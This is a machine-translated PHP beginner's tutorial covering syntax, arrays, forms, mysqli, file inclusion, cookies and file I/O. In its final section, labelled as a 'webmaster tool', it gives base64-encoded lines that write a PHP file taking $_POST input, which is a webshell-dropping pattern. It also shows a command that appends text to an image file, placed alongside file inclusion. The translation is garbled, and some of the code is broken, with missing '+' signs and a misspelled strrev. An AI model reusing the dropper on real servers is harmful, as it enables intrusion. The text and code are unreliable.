この記事はPHPの入門書です。非常に詳しい知識が収録されています。言語プログラムとしてのPHP言語の特殊性は、応用の過程で徐々に明らかになっていきます。そこからPHPの魅力を感じていただければ幸いです。 ,皆さんが助けてくれることを願っています。
PHP (ハイパーテキスト プリプロセッサ) は、もともと Personal Home Page の略語でしたが、正式に「PHP :Hypertext」という名前に変更されました。プリプロセッサ"。 1990年代に国内インターネットが発達し始めて以来、インターネット情報は私たちの日常生活のほぼすべての知識を網羅し、私たちの生活、勉強、仕事に徐々に欠かせないものになりました。統計によると、2003 年以来、我が国の Web ページのサイズは基本的に 2 倍の成長率を維持しており、増加傾向を示しています。 PHP言語は、現在最も人気のあるWebサイトプログラム開発言語として、低コスト、高速、移植性の良さ、組み込み関数ライブラリの豊富さなどの利点を備えており、Webサイト開発において多くの企業で使用されています。しかし、インターネットの継続的なアップグレードに伴い、PHP 言語では多くの問題が発生しています。
動的 Web サイトの要件に従って、言語プログラムとしての PHP 言語の特殊性はアプリケーション プロセスで徐々に現れ、その技術レベルは Web サイトの操作効率に直接影響します。オープンソースコードであり、プログラミング的にはC言語などの汎用言語との類似性が高いため、分かりやすく運用時の操作性が高いのが特徴です。同時に、PHP 言語は高度なデータ転送、処理、出力を備えており、Windows システムやさまざまな種類の Web サーバーで広く使用できます。データ量が多い場合、PHP 言語はリンク サーフェスを広げてさまざまなデータベースに接続し、データの保存、取得、メンテナンスの負担を軽減することもできます。テクノロジーの発展に伴い、PHP 言語の検索エンジンをカスタマイズして、顧客の好みに応じてデータを分類、収集、保存するなどのパーソナライズされたサービスを提供することもでき、データの運用効率が大幅に向上します。
(1) オープンソースかつフリーな性質
PHP インタプリタのソースコードが公開されているため、セキュリティ要素が比較的高いhigh ハイエンド Web サイトでは、PHP インタープリター自体を変更できます。さらに、PHP 実行環境の使用も無料です。
(2) 迅速さ
PHP は学習と使用が非常に簡単な言語であり、構文の特徴は C 言語に似ていますが、C 言語のような複雑なアドレス演算はありません。 . また、オブジェクト指向の概念が加わっており、文法規則も簡潔であるため、操作や編集が非常に簡単で、非常に実用的です。
(3) データベース接続の拡張性
PHP は、MySQL、ODBC、Oracle などの多くの主流データベースとの接続を確立できます。PHP は、さまざまなコンパイル済み関数を使用して、これらのデータベースとの接続を確立します。 PHPLIB は接続目的で、一般的なトランザクションに提供される一般的に使用される基本ライブラリです。
(4) プロセス指向とオブジェクト指向を併用する
PHP 言語を使用する場合、プロセス指向とオブジェクト指向をそれぞれ使用することも、PHP のプロセス指向を混在させることもできます。指向性とオブジェクト指向性を組み合わせることは、他の多くのプログラミング言語ではできないことです。
(1) 人気が高く使いやすい
PHPは現在最も人気のあるプログラミング言語であり、疑いの余地はありません。世界中で 2 億以上の Web サイトを運営しており、世界の公開 Web サイトの 81.7% 以上がサーバー側で PHP を使用しています。 PHP は一般的に使用されるデータ構造がすべて組み込まれているため、まったく複雑ではなく、使いやすく、非常に柔軟な表現能力を備えています。
(2) 開発職は多数あります
サーバーサイド Web サイトのプログラミングでは、PHP を使用すると仕事を見つけやすくなります。多くのインターネット関連企業がPHP開発フレームワークを利用しているため、PHP開発プログラマーの市場需要は依然として比較的大きいと言えます。
(3) 開発中
PHP は、パフォーマンスと現在人気のフレームワークを考慮しながら、クロージャや名前空間などのテクノロジと常に互換性があります。バージョン7以降は、より高性能なアプリケーションを提供してきました。
(4) 強力な埋め込み可能性
PHP 言語のパッチ脆弱性アップグレード プロセス中、PHP 言語のコア部分は実装が簡単で、すぐに埋め込むことができます。
(5) 高い拡張性
PHP言語は、データベースアプリケーション処理において、データベースからさまざまな種類のデータを取得でき、実行効率が高い言語です。
(1) PHP の解釈と操作の仕組み
PHP では、グローバル変数であっても、そうでなくても、すべての変数はページレベルです。クラスの静的メンバーは、ページの実行後にクリアされます。
(2) 設計上の欠陥と注意力の欠如 PHP は、スタック トレースがなく、さまざまな脆弱な入力があるため、不透明な言語と呼ばれます。明確な設計哲学はありません。初期のPHPはPerlの影響を受け、outパラメータの標準ライブラリはC言語から導入され、オブジェクト指向の部分はCとJavaから学びました。
(3) 再帰のサポートが不十分
PHP は再帰が苦手です。許容できる再帰関数の数の制限は、他の言語に比べて大幅に小さいです。
#$x=5; $X=7; 出力は異なる結果になります<?php
$a = 1;
$A = 2;
echo $a . "<br>";
echo $A;
?>
<?php $a=1; //全局变量 function test() { //声明一个函数,名字为 test $a=15; //函数内的变量,为局部变量 echo "内部输出结果:".$a; } test(); echo "<br>"; echo "外部输出结果:".$a; ?>
<?php $a=1; function test() { //声明一个函数,名字为 test global $a; //在函数内声明并引用外部变量,注意这里是小写 global echo $a; echo "<br>"; } test(); //使用函数 echo $a; ?>
<?php $a=10; $b=20; $c=30; function test() { $a=100; $GLOBALS['a']=$GLOBALS['b']+$GLOBALS['c']; //引用全局变量,这里的 GLOBALS 必须大写 echo $a."<br>"; } Test(); //函数名不区分大小写 echo "<br>"; echo $a; ?>
<?php function test() { static $a = 0; //静态作用域,保留变量值 echo $a . ""; $a++; } test();//不使用static的话,每次输出都是 0 echo "<br>"; test(); echo "<br>"; test(); ?>
parameter パラメータ スコープ
<?php $a = 10; $b = 20; function test() { $a = 30; $b = 40; $c = $a + $b; echo "函数内运算值:".$c; echo "<br>"; } test(); $c = $a + $b; echo "函数外运算值:".$c; ?>
echo "123","456","789";//複数の文字列を連続出力できる
#print "123","456"; //出力エラー#改行:
echo "
";
echo "\n";
戻り変数の型: var_dump
<?php $a = "1111"; $b = 123; $c = null; echo var_dump($a) . "<br>"; echo var_dump($b) . "<br>"; echo var_dump($c) . "<br>"; $d = array('a', 1, abc); //数组 echo var_dump($d) . "<br>"; $e = true; echo var_dump($e); ?>
<?php $text1="ni hao"; $text2="hahaha"; echo $text1." ".$text2."<br>"; //引用多个变量用 点 . (英文)连接 为空格 $a = strlen($text1);//计算字符串长度数 echo $a; ?>//空格也算作一个字符
##強参照と弱参照
<?php $text1 = "ni hao"; echo "$text1" . "<br>";// “ ” 双引号输出会显示变量值 echo '$text1';// ‘’ 单引号会显示变量名本身 ?>
<?php $x = 10; echo ++$x;//先自增后输出 echo "<br>"; $a=15; echo --$a . "<br>";//先自减后输出 $y = 20; echo $y++ . "<br>";//先输出后自增 $b=30; echo $b--;//先自增后输出 ?>
#if 条件判定
<?php $x = 10; $y = 20; if ($x > $y) {//判断 x 和 y 的大小,如果满足 $x > $y 就输出 true echo "true"; }else if($x==$y) {//else if 如果上面的判断不满足,再次判断 $x==$y 是否相等 ,如果满足就输出 $x."等于"$y; echo $x."等于"$y; } else {//如果上面的判断都不满足就输出 false echo "false"; } ?>
<?php $x= (3>4)? "true":"false";//三元运算符 echo $x; ?>
<?php $a="abc"; switch ($a) { case 'red': echo "red"; break; //跳出整个循环体,continue跳出本次循环体,继续执行后面的循环体。 case 'green': echo "green"; break; case 'black': echo "black"; break; default: echo "not color"; } ?>
#Array
<?php $cars = array("BMW", "BinLi", "大众"); echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]"; ?>
<?php $cars = array(); $cars[0] = "BMW"; $cars[1] = "BINlix"; $cars[2] = "大众"; echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]"; ?>
<?php $cars = array(); $cars[0] = "BMW"; $cars[1] = "BINlix"; $cars[2] = "大众"; echo count($cars) . "<br>";// count 返回数组长度 echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]"; ?>
count 配列の長さの取得
var_dump () 戻りデータ型
strlen(); 戻り文字列長array(); 配列の作成
echo $arrayName[3]; //ブール値 true は 1
を出力しますfor 配列をループします:<?php $cars = array("BMW", "BinLi", "大众"); $arrlength = count($cars); for ($x = 0; $x < $arrlength; $x++) { echo $cars[$x] . "<br>"; }//只输出值 ?>
<?php $cars = array("BMW", "BinLi", "大众"); $arrlength = count($cars); print_r($cars);//数据类型,下标值,值都打印出来 ?>
<?php $age = array("gao" => "30", "li" => "20", "zhang" => "10"); echo "gao is " . " " . $age['gao'] . " " . " years old."; ?>
<?php $age = array(); $age["sun"] = ["20"]; $age["liu"] = ["30"]; $age["zhang"] = ["40"]; print_r($age); ?>
多维数组
<?php $cars = array( array("111", 100, 50), array("222", 200, 100), array("333", 300, 150), ); echo $cars[1][0]; ?>
<?php $age = array(); $age["sun"] = ["20"]; $age["liu"] = ["30"]; $age["zhang"] = ["40"]; // print_r($age); foreach ($age as $key => $value) { echo "name is " . $key . " old " . $value . "<br>"; } ?>
排序:
<?php $cars = array("Blinli", "wzida", "muling"); $x = sort($cars); echo $x; print_r($cars); ?>
<?php $cars = array("Blinli", "wzida", "muling"); $x = rsort($cars); echo $x; print_r($cars); ?>
<?php $x = 10; $y = 29; function add() { // global $x, $y; // $z = $x + $y; // echo $z; $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y']; echo $GLOBALS['z']; } add(); ?>
PHP $_REQUEST 用于收集 HTML 表单提交的数据
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> <form method="POST" action="request.php"> name:<input type="text" name="name"> <br> <input type="submit" name="submit"> </body> </html>
<?php $name = $_REQUEST['name']; echo $name; ?>
循环:
<?php $a = 0; while ($a <= 10) { echo "number is :" . $a . "<br>"; $a++; } ?>
do while 循环:
<?php $i = 0; do { //先循环 $i++; echo "number is :" . $i . "<br>"; } while ($i < 5);//再判断 ?>
<?php function add($x, $y) { $z = $x + $y; return $z; // echo $z; } // add(5, 15); echo "1+16" . "=" . add(1, 16); ?>
函数:
<?php function add() { $x = 10; $y = 20; $z = $x + $y; echo $z; } add(); ?> <?php function add($x, $y) { $z = $x + $y; echo $z; } add(5, 15); ?>
<?php class Person { //定义一个类,名称为 Person 使用驼峰命名法,不能用数字开头,类似于变量的命名方式。 var $name; //定义一个变量,值为空 function say() { //定义一个函数 echo "my name is ".$this->name; } } $xm=new Person; //实例化对象,具体的使用方式 $xm->name="小明"; //对象属性的赋值 $xm->say(); //访问对象的方法 ?>
超级全局变量:
<?php $string = "123"; //变量 define("DEMO", true); //常量 print_r($GLOBALS); //超级全局变量 ?>
$_SERVER['PHP_SELF']; //显示头部信息
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8"> </head> <body> <!-- <form action="" method="GET"> username:<input type="text" name="name"> password:<input type="password" name="password"> <input type="submit" name="submit" value="GET"> </form> --> <form action="<?php echo $_SERVER['HTTP_SELF']; ?>" method="POST"> username:<input type="text" name="name"> password:<input type="password" name="password"> <input type="submit"> </form> <?php echo "提交的内容: <font style='color:red'>" . @$_POST["name"] . @$_POST["password"] . "</font>" ?> </body> </html> //在PHP中通过打印函数引入我们的HTML+CSS+JS
1、mysql PHP<5.5版本 2012年后不建议使用,安全性差
2、mysqli mysql的扩展,mysql的升级版,安全性高,只能用于操作mysql数据库
一、面向对象的方法 NEW
二、面向过程的使用方法
3、PDO PHP DATA OBJECT 目前支持链接数据库类型12种,安全性高,基于面向对象的使用方式。
<?php $hostname="127.0.0.1"; $name="root"; $pass="root"; $db="messagebox"; $conn=mysqli_connect($hostname,$name,$pass,$db); if (!$conn) { die("连接失败".mysqli_connect_error());/* mysqli_connect_error()该函数保存了连接数据库的错误信息 */ } /*create table students( uid int(15) not null auto_increment, name varchar(50) not null, gender char(2), message text, primary key(uid) )*/ $sql="select * from users where id=1 "; // mysqli_query($conn,$sql);执行成功返回true $query_result=mysqli_query($conn,$sql); if ($query_result) { /*如果执行成功就会执行如下的代码*/ $result_numbers=mysqli_num_rows($query_result);/*查询出数据库中记录条数,具体的数据没出来*/ if ($result_numbers>0) { $all_result=mysqli_fetch_all($query_result); /*mysqli_fetch_assoc将查询的结果转换为关联型数组*/ //mysqli_fetch_array()关联型和数字型 //mysqli_fetch_all()数字型 //var_dump($all_result); //$all_result它是一个mysqli_fetch_all处理之后的数据,该数据是一个数组,数组的长度取决于sql的执行 //如果结果是一个记录,则$all_result的长度是1 //如果结果是二个记录,则$all_result的长度是2 //$all_result保存的内容也是数组,需要遍历显示数据内容 foreach ($all_result as $key => $value) { foreach ($value as $key => $value) { echo $value."\n"; } } } else{ echo "没数据!"; } } else{ echo "查询失败".mysqli_error($conn); /* mysqli_error($conn)保存了执行SQL语句的错误信息 */ } mysqli_close($conn); ?>
解决乱码:
echo ""; //指定字符集
或者:
header("Content-Type:text/html;charset=utf-8");
<?php // echo "<meta charset='utf-8'>"; //指定字符集 header("Content-Type:text/html;charset=utf-8"); echo '<form method="POST" action="#"> name:<input type="text" name="name"> psswd:<input type="password" name="pwd"> <input type="submit" name="submit"> </form>'; $name = @$_POST['name']; //$_POST 对应 form method="POST" $pwd = @$_POST['pwd']; //接收数据 if ($name != "" && $pwd != "") { //判断当前提交的数据是否为空,不为空的情况下执行下面的代码 echo "UserName is : " . $name . "<br>"; echo "PassWord is : " . $pwd; } ?>
(isset($name) && isset($pwd))
isset 检测变量是否设置,不为NULL
如果检测的对象是""(空),返回值是 1 false
var_dump 判断数据类型
使用 define(变量的KEY(最好大写),变量的value,true/false,)
define("UNMBER","this is a hacker");//不能用 $ 数字 开头
<?php define("UNMBER", "this is a hacker", true); //定义常量 echo UNMBER . "<br>";//true 忽略大小写,默认是false echo unmber; ?>
<?php //结合函数使用 define("UNMBER", "this is a hacker", true); //定义常量 echo UNMBER . "<br>"; echo unmber . "<br>"; function test() { echo UNMBER; } test(); ?>
<?php $string="1234"; echo strlen($string); //计算字符串长度 echo $string[0]; //以下标方式取值 ?>
反转:
<?php $string="1234"; echo strlen($string); //计算字符串长度 echo $string[0]; //以下标方式取值 $string1=strrve($string);//反转 echo $string1; // 4321 $string2=substr($string,1);//舍弃第一位的数据 -1 只保留最后一位 -2只保留最后2位 echo $string2; // 234 echo trim(" 123 456 789 ");//去除字符串前后的空格123 456 789 ?>
cmd-->php~\php -r "phpinfo();"
php~\php -f ".php文件,可以拖拽到CMD窗口"
$str1 = "123";
echo $str1 .= "456";
PHP 表单
HTML
style 选择器:
.error{}
p{}
#ID {}
echo htmlspecialchars(""); //实体化代码输出,忽略代码本身输出内容
echo stripcslashes("i\\m abc"); //删除转义符
trim 去除左右两端的空格
echo trim(" 123 ");
preg_match( /匹配的表达式/(要用正则表达式),被匹配的字符串),返回值是 int (0|1) bool
匹配上,返回 1 false 否则为 true 0
echo preg_match("/php/", "you know the php is bester language");
!preg_match 取反
Delimiter must not be alphanumeric or backslash in 分隔符不能是字母数字和 反斜线 。
span 组合行内元素 class
文件包含:引入某些文件,去使用该文件的内容。
方式有4种:
1、include "文件路径/文件名";
如果引入文件错误,会报警告Warning,后续代码依旧会执行。
2、include_once "文件";
用法同 include 基本一致,只需包含一次,后续可一直使用。
3、require "文件";
包含文件时,如果找不到,会报错ERROR,后续的代码均无法执行。
4、require_once "文件";
用法同require一致,只需包含一次,后续可一直使用。
支持目录跳转,可以使用相对路径 ../../..file 或者绝对路径
copy 1.png/b+1.txt/a 2.png
a 表示是ASCII格式
b 表示该文件是二进制文件
把文本文件加装到图片文件中。
文件包含,引入某些文件,去使用该文件中内容,在PHP中文件包含的函数有4个:
(1)include "文件" /include("文件")
包含文件时,如果找不到被包含的文件会警告,后续的代码依旧知道
(2)include_once "文件"
用法和include用法基本一致,包含文件只需要一次即可,后续可以一直使用
(3)require "文件"
包含文件时,如果找不到会报致命错误,其后续的代码均不执行
(4)require_once "文件"
用法和require用法一致,包含文件时只需要包含一次即可
被包含过来的文件中,如果按照PHP的标准语法来写代码,那么就会执行该代码;如果不是PHP语法写的文件,就会读取出来
copy 1.png/b+1.txt/a 2.png
a 表示该文件是ASCII文本格式
b 表示该文件是二进制文件
セッション: サーバーとユーザーの間でデータを送信する方法または方法。前にチャネルを確立する必要があります。チャネルはデータを送信できます。セッションはクライアント上の Cookie によって管理され、セッションはサーバー上でセッションを通じて管理されます。
Cookie とセッションの比較:
1. Cookie はユーザーのブラウザに保存され、戻りパッケージの set-cookie を通じてサーバーによって設定されます。Cookie はユーザーのブラウザを表し、サーバー間のセッション状態。Cookie データは、ログインが成功した後にのみ取得できます。このデータは通常、時間に敏感です。有効期限が切れた場合、ユーザーは再度ログインする必要があります。 Cookie データを使用すると、ユーザーのリクエストごとに Cookie が生成され、サーバーは Cookie の合法性と適時性を検証します。Cookie の送信は、ブラウザの同一生成元ポリシーに従う必要があります。
2. セッションは保存されます。サーバー側にあり、ユーザーのセッション状態とサーバー時間を表します。セッションと Cookie は 1 対 1 に対応しています。サーバーは、どのユーザーがサイトにログインしたかを記憶する必要もあります。通常、セッションは / に保存されます。 tmp ディレクトリはファイル形式で保存されます。形式は sess_XXXXX (例: sess_nti62h7rrrnb5udpvfbad13cg5s9kqrm) です。この時点でサーバーによってブラウザに割り当てられた Cookie は nti62h7rrrnb5udpvfbad13cg5s9kqrm です。Cookie の値が変更されている限り、サーバーはユーザーに再度ログインを要求します。
Cookie の表示方法:
1. 現在ログインしているページの URL、javascript:alert(document.cookie)
2 を入力します。コンソールで、alert(document.cookie) または document.cookie
3 と入力します。ブラウザに付属のネットワーク管理ツールで。
setcookie("key","123"); は HTML コードの前に記述する必要があります。
setcookie("name","456",time() 5);
echo $_COOKIE["name"]."
";
setcookie("name","value",time()-3600);//Cookie を削除
print_r($_COOKIE);
$_SEESION["id"]=1;
$_SEESION["demo"]=true;
unset($_SEESION["id"]);//seesion の特定の値を削除します
session_destroy() ; //すべての SEESION 値をクリア
fread($file,1024);
feof (); ファイルの最後に到達したかどうかを確認します
fclose($NAME); プロセスを閉じます
fopen(ファイルの開き方,,,):r 読み取り専用
r 読み取りおよび書き込み
w 書き込み用に開き、ファイルが存在しない場合は作成します
a コンテンツを追加
a ファイルが存在しない場合は読み取りと追加を行い、ファイルを作成します
$file=fopen("test.txt","a ");
ファイルを読み取ります
fread($file,1024); // ファイルを読み込みます
feof(); ファイルの終わりに達したかどうかを確認します
fgets($file); //ファイルを読み取ります
while (!feof($file)) { //最後に到達したかどうかを判定
echo fgets($file)."
";//のみ一度に 1 行ずつ読み取ります。
}
while ( !feof($file)) { //最後に到達したかどうかを判断します
echo fgetc($file)。 "
";//一度に 1 行のみ読み取ります
}
unlink(); ファイルを削除します
fclose($NAME); プロセスを終了します
fputs();
echo file_get_contents("123.txt"); ファイルを読み取るfputs(fopen("1.php","w") ," ");
echo file_get_contents("1.php");
ウェブマスター ツール
$str="PD9waHAgcGhwaW5mbygpOz8 ";
$shell=base64_decode($str);
fputs(fopen("ceshi.php", "w"),$ shell);
暗号化にはbase64_encode、復号にはbase64_decodeを使用します
fputs( fopen("ceshi.php", "w"),base64_decode("PD9waHAgJGV2YWw9KCRfUE9TVFsnayddKTs/Pg=="));
ファイル改行\n
ご興味がございましたら、「PHP ビデオ チュートリアル 」をクリックして、PHP の知識をさらにご覧ください。
以上が史上最も包括的な PHP 入門ノート集 (要約共有)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。